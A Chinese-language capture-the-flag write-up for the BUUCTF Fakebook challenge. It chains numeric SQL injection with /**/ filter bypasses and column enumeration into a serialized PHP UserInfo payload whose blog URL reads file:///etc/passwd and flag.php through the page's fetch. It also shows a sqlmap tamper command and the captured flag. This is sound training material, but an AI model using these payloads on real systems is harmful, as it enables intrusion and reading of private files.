BUUCTF——[网鼎杯 2018]Fakebook
1.测试SQl注入的注入点1'

2.尝试使用-- -进行闭合,但是不行

3.尝试使用数字型的SQL注入,使用--+进行注入后面的SQL语句

4.尝试使用and 1=1 判断其是否真的存在SQL注入

5.尝试使用and 1=2进行判断

6.发现这个地方确实存在SQL注入,接下来判断列名
?no=1 order by 4--+

7.再使用5判断其列名,报错啦,说明有4列
?no=1 order by 5--+

8.判断回显的位置
?no=-1 union select 1,2,3,4--+

9.发现存在过滤,尝试使用内联注入(/**/)进行绕过
?no=-1/**/union/**/select/**/1,2,3,4--+

10.发现回显位在2上,爆破数据库库名
?no=-1/**/union/**/select/**/1,database(),3,4--+

11.数据库名为fakebook,接下来爆破数据表名,尝试第一张表
?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/0,1),3,4--+

12.数据库名为fakebook,接下来爆破数据表名,尝试第二张表
?no=-1/**/union/**/select/**/1,(select(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='fakebook'/**/limit/**/1,1),3,4--+

13.发现只有一张表,爆破users表的字段名
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'),3,4--+

14.本来想直接爆破出所有的字段名的,但是只能回显一列,只能使用limit一行一行的爆破
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/0,1),3,4--+

15.第一个字段为no,接着爆破第二个字段
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/1,1),3,4--+

16.第二个字段为username,接着爆破第三个字段
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/2,1),3,4--+

17.第三个字段为passwd,接着爆破第四个字段
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/3,1),3,4--+

18.第四个字段为data,接着爆破第五个字段
?no=-1/**/union/**/select/**/1,(select(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='fakebook'/**/and/**/table_name='users'/**/limit/**/4,1),3,4--+

19.当爆破到第五个字段的时候,没有回显,书名总的就是四个属性,也就是四个字段,四列,分别是no,username,passwd,data
20.爆破第一个字段内容
?no=-1/**/union/**/select/**/1,(select(no)/**/from/**/table_name='fakebook.users'/**/limit/**/0,1),3,4--+?no=-1/**/union/**/select/**/1,(select/**/no/**/from/**/fakebook.users/**/limit/**/0,1),3,4--+
space2comment.py脚本代码如下,可以将空格替换为//注释符**
Python sqlmap.py -u "http://944c5a3d-4ec2-4cd3-b669-5354d0d6d7e9.node5.buuoj.cn:81/view.php?no=1" --random-agent --temper=space2comment.py --dbs --batch


21.使用sqlmap还是不行,还得使用手注,继续爆破字段内容
?no=-1/**/union/**/select/**/1,(select/**/group_concat(no)/**/from/**/users),3,4--+

22.获取第一个字段no的内容为1,爆破第二个字段的内容

23.爆破第二个的内容为1,爆破密码内容为
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

24.密码太奇怪啦,那么长,整一下data试试
?no=-1/**/union/**/select/**/1,(select/**/group_concat(data)/**/from/**/users),3,4--+

25.这道题目太有意思啦,本来好好的SQL注入,搞着搞着就出来反序列化啦,这不得代码审计一波,但是源代码在哪里呢,直接手动测试一波robots.txt

26.下载源代码
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}function get($url){$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);$output = curl_exec($ch);$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);if($httpCode == 404) {return 404;}curl_close($ch);return $output;}public function getBlogContents (){return $this->get($this->blog);}public function isValidBlog (){$blog = $this->blog;return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);}}


27.通过阅读源代码,然后构造payload
<?phpclass UserInfo
{public $name = "";public $age = 0;public $blog = "";public function __construct($name, $age, $blog){$this->name = $name;$this->age = (int)$age;$this->blog = $blog;}}$test = new UserInfo("admin","18","file:///etc/passwd");
$test = serialize($test);
var_dump($test);

28.得到的结果为
O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:18:"file:///etc/passwd";}
29.将得到的payload放到我们构造的SQL语句中进行插入
?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:18:"file:///etc/passwd";}'--+

30.将得到回显数据,查看页面源代码

31.点击iframe标签中的src超链接,成功得到我们想要的数据

32.当然做完了之后,你可能会发现,如果在注入账户的时候,直接在blog里插入我们想读取的数据是什么时,我试过啦,不得行,还是做了限制的,这道题奥妙之处就在于这,通过sql注入的漏洞,构造反序列化payload,通过iframe标签获取flag,最后,我们的目的是读取flag,就直接构造
http://e5eaec3f-15e4-440e-8262-94bd93f0ee39.node5.buuoj.cn:81/view.php?no=-1/**/union/**/select/**/1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'--+

33.查看页面源代码

34.点击页面即可得到flag
flag{4bbfc72d-f908-469f-aebe-ed5240dd5d6e}

